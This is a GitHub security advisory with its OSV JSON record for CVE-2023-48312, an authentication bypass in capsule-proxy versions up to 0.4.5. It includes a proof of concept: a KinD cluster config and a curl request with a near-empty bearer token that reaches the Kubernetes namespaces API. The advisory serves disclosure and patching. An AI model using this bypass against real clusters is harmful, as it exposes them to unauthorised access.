GHSA-FPVW-6M5V-HQFP

Vulnerability from github – Published: 2023-11-24 16:53 – Updated: 2023-11-27 22:07
VLAI?
Summary
Capsule Proxy Authentication bypass using an empty token
Details

The privilege escalation is based on a missing check if the user is authenticated based on the TokenReview result.

All the clusters running with the anonymous-auth Kubernetes API Server setting disable (set to false) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.

PoC

Start a KinD cluster with the anonymous-auth value to false. If it is true, it uses anonymous permissions which are very limited by default

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: ClusterConfiguration
    apiServer:
        extraArgs:
          anonymous-auth: "false"

Install capsule and capsule-proxy

k port-forward svc/capsule-proxy 9001    
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001

Then query the proxy

curl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'

Impact

The whole cluster is exposed to unauthorised users.

This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/clastix/capsule-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-48312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-24T16:53:25Z",
    "nvd_published_at": "2023-11-24T18:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result.\n\nAll the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.\n\n# PoC\n\nStart a KinD cluster with the `anonymous-auth` value to `false`. \nIf it is true, it uses anonymous permissions which are very limited by default\n\n```yaml\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n  kubeadmConfigPatches:\n  - |\n    kind: ClusterConfiguration\n    apiServer:\n        extraArgs:\n          anonymous-auth: \"false\"\n```\n\nInstall `capsule` and `capsule-proxy`\n\n```\nk port-forward svc/capsule-proxy 9001    \nForwarding from 127.0.0.1:9001 -\u003e 9001\nForwarding from [::1]:9001 -\u003e 9001\nHandling connection for 9001\n```\n\nThen query the proxy\n```\ncurl -g -k -H \u0027Authorization: Bearer   f\u0027 -X \u0027GET\u0027 \u0027https://localhost:9001/api/v1/namespaces\u0027\n```\n\n# Impact\n\nThe whole cluster is exposed to unauthorised users.\n\nThis privilege escalation cannot be exploited if you\u0027re relying only on client certificates (SSL/TLS).",
  "id": "GHSA-fpvw-6m5v-hqfp",
  "modified": "2023-11-27T22:07:37Z",
  "published": "2023-11-24T16:53:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule-proxy/security/advisories/GHSA-fpvw-6m5v-hqfp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48312"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule-proxy/commit/472404f7006a4152e4eec76dee07324dd1e6e823"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule-proxy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Capsule Proxy Authentication bypass using an empty token"
}


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